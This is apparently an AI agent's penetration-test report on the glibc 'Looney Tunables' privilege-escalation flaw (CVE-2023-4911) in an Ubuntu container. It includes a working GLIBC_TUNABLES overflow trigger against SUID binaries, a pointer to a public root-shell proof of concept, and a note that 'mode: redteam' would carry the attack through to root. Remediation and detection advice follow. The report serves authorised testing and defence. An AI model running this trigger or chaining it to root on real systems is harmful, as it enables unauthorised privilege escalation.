Vulnerator-AI — Pentest Report: CVE-2023-4911

01 / Executive Summary

A high-severity local privilege escalation (LPE) vulnerability was identified and demonstrated: CVE-2023-4911 ("Looney Tunables") in the system's glibc. The libc6 package is installed at version 2.37-0ubuntu2 (pinned with apt hold, dpkg state hi), one revision behind the official security patch 2.37-0ubuntu2.1 (USN-6409-1).

Any local user — including the unprivileged agent_user — can execute code as root through standard SUID binaries (su, sudo, mount, passwd…). In this engagement (mode: pentest), exploitability was demonstrated with a 100% reproducible confirmed crash of the privileged ld.so; no root shell was obtained, in accordance with the declared scope.

02 / Main Finding

CVE	CVE-2023-4911 — buffer overflow in `ld.so` (glibc) while processing the `GLIBC_TUNABLES` environment variable
MITRE ATT&CK	`T1068` — Exploitation for Privilege Escalation
Attack vector	Local: unprivileged user → runs a SUID-root binary with malformed `GLIBC_TUNABLES` → `ld.so` (running as root) overflows the heap in `tunables_strdup()` during `__tunables_init()`, before secure mode sanitises the environment → loader struct corruption → code execution as root
Introduced	glibc 2.34 (April 2021, commit `2ed18c5b534d9e92fc006202a5af0df6b72e7aca`, BZ #27471)
Affected version	`libc6 2.37-0ubuntu2` — confirmed with `dpkg -l` / `ldd --version`
Patched version	`libc6 2.37-0ubuntu2.1` — USN-6409-1 (security pocket)
CVSS 3.1	7.8 HIGH
Exploitation status	CISA KEV · active exploitation
Public exploit	Yes — working PoC (root shell) at `github.com/leesh3288/CVE-2023-4911`; Qualys TRU obtained full root on default Ubuntu 23.04 installations

03 / Exploitability Evidence

Reproducer executed as agent_user (uid=1001) on the target:

agent_user@ubuntu-server-01 — bash

# Trigger CVE-2023-4911 — 10 consecutive attempts for i in $(seq 1 10); do GLIBC_TUNABLES="glibc.malloc.mxfast=glibc.malloc.mxfast=$(printf 'A%.0s' $(seq 1 1500))" \ /usr/bin/su --help 2>&1 echo "attempt $i: rc=$?" done Segmentation fault attempt 1: rc=139 Segmentation fault attempt 2: rc=139 ... Segmentation fault attempt 10: rc=139

Results with differential controls:

Test	rc	Result
`/usr/bin/su` (SUID root) + long payload, ×10	139	SIGSEGV — Segmentation fault
`/usr/bin/sudo` (SUID root) + long payload	139	SIGSEGV
`/usr/bin/mount` (SUID root) + long payload	139	SIGSEGV
`su --help` without payload (baseline)	0	OK — normal behaviour
`/bin/true` (non-SUID) + same payload	0	OK — no crash without SUID
`mxfast` simple 4000 chars (control)	0	OK — no crash without overflow

Enabling conditions verified on the target:

NoNewPrivs: 0 SUID active: su sudo passwd mount /tmp writable gcc 12.3.0 installed libc6 on apt hold Docker container userspace — not kernel

04 / Evaluated & Discarded Vectors

Vector	Discard evidence	Status
`sudo -l`	"Sorry, user agent_user may not run sudo on ubuntu-server-01"	Discarded
File capabilities (`getcap -r /`)	No results	Discarded
Anomalous cron jobs	Only `e2scrub_all` and `apt-compat` (stock)	Discarded
Non-standard SUID binaries	Standard Ubuntu set only (no custom binaries)	Discarded
Kernel exploit	Out of threat model scope (container; operator hint: userspace vector)	Out of scope

05 / Remediation Recommendations

⚠ Priority 1 — Immediate Update libc6 to 2.37-0ubuntu2.1 or later (USN-6409-1). The package is pinned with apt hold — it must be unpinned first:

apt-mark unhold libc6 && apt-get update && apt-get upgrade libc6

⚠ Ubuntu 23.04 (lunar) has been EOL since January 2024: standard repositories no longer serve packages. Use old-releases.ubuntu.com or, preferably, migrate the container to Ubuntu 24.04 LTS.
⚠ Priority 1 — Immediately after patching Restart/rebuild the container after applying the patch. All running processes continue to map the vulnerable libc in memory until restarted.
▸ Priority 2 — Defence in depth Periodically audit pinned packages: apt-mark showhold. Reduce unnecessary SUID surface. Monitor executions of SUID binaries with GLIBC_TUNABLES in their environment — any non-root process carrying that variable should be treated as suspicious.
▸ Priority 3 — Detection Compare ldd --version / dpkg -l libc6 against 2.37-0ubuntu2.1 across all Ubuntu 22.04/23.04 systems. CISA KEV lists CVE-2023-4911 as actively exploited — prioritise in the next patch cycle.

06 / Scope Compliance · mode: pentest

✓ CVE verified against official sources (Ubuntu API, NVD, CVE.org, Qualys advisory)
✓ Privileged loader crash confirmed (10/10 SIGSEGV with differential controls)
✓ CVSS 3.1 documented — 7.8 HIGH
✓ Affected and patched versions documented
✓ Findings persisted in the engagement store (5 findings)
✓ OODA loop closed: OBSERVE → ORIENT → DECIDE → ACT → REPORT (14 steps)

No full exploit was compiled and no root shell was obtained, in accordance with the mode: pentest definition. The path to root is fully documented (public PoC + conditions verified on the target). To execute through to root shell, instruct the agent explicitly with mode: redteam.